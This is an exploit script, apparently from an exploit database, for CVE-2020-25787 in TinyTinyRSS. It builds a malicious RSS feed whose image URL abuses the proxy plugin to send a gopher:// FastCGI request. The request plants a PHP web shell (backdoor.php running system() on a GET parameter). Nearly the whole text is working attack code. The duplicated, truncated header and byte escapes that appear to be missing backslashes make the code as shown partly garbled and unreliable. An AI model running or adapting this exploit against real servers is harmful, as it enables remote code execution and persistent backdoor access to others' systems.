# Exploit Title: TinyTinyRSS remote code execution
# Date: 21 September 2020 made public
# Exploit Author: Daniel Neagaru & Benjamin Nadarević
# Blog po #!/usr/bin/env python3
# Exploit Title: TinyTinyRSS remote code execution
# Date: 21 September 2020 made public
# Exploit Author: Daniel Neagaru & Benjamin Nadarević
# Blog post: https://www.digeex.de/blog/tinytinyrss/
# Software Link: https://git.tt-rss.org/fox/tt-rss
# Version: all before 2020-09-16
# Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef
# Tested on: default docker installation method
# CVE : CVE-2020-25787
from sys import argv
import urllib.parse as ul
import base64
def CustomFcgi( filename, output, backdoor):
length=len(output)+len(backdoor)+64
char=chr(length)
data = "x0fx10SERVER_SOFTWAREgo / fcgiclient x0b REMOTE_ADDR127.0.0.1x0fx08SERVER_PROTOCOLHTTP/1.1x0e" + chr(len(str(length)))
data += "CONTENT_LENGTH" + str(length) + "x0ex04REQUEST_METHODPOST KPHP_VALUEallow_url_include = On "
data += "disable_functions = auto_prepend_file = php://inputx0f" + chr(len(filename)) +"SCRIPT_FILENAME" + filename + " x01DOCUMENT_ROOT/"
temp1 = chr(len(data) // 256)
temp2 = chr(len(data) % 256)
temp3 = chr(len(data) % 8)
end = str("x00"*(len(data)%8)) + "x01x04x00x01x00x00x00x00x01x05x00x01x00" + char + "x04x00"
end += "<?php file_put_contents('" + output + "',base64_decode("+ "'"+str(backdoor.decode('ascii'))+"')"+");die('executed');?>x00x00x00x00"
start = "x01x01x00x01x00x08x00x00x00x01x00x00x00x00x00x00x01x04x00x01" + temp1 + temp2 + temp3 + "x00"
payload = start + data + end
def get_payload(payload):
finalpayload = ul.quote_plus(payload, encoding="latin-1").replace("+","%20").replace("%2F","/")
return finalpayload
return "gopher://localhost:9000/_"+get_payload(get_payload(payload))
TTRSS_PATH = "/var/www/html/tt-rss/"
BACKDOOR_CODE = """
<?php
echo "success ";
echo system($_GET['cmd']);
?>
"""
feed_file = open("malicious_RCE_feed.xml",'w')
filename = TTRSS_PATH + "config.php"
output = TTRSS_PATH + "backdoor.php"
backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii"))
rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text"
feed ="""<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Exploit demo - rce</title>
<link></link>
<description>You are getting infected :(</description>
<item>
<title> Check if there is backdoor.php</title>
<link><![CDATA[backdoor.php?cmd=id&bypass_filter=://]]></link>
<description>
<![CDATA[
Dummy text
<img src="{}">
]]>
</description>
</item>
</channel>
</rss>
""".format(rce)
feed_file.write(feed)
feed_file.close()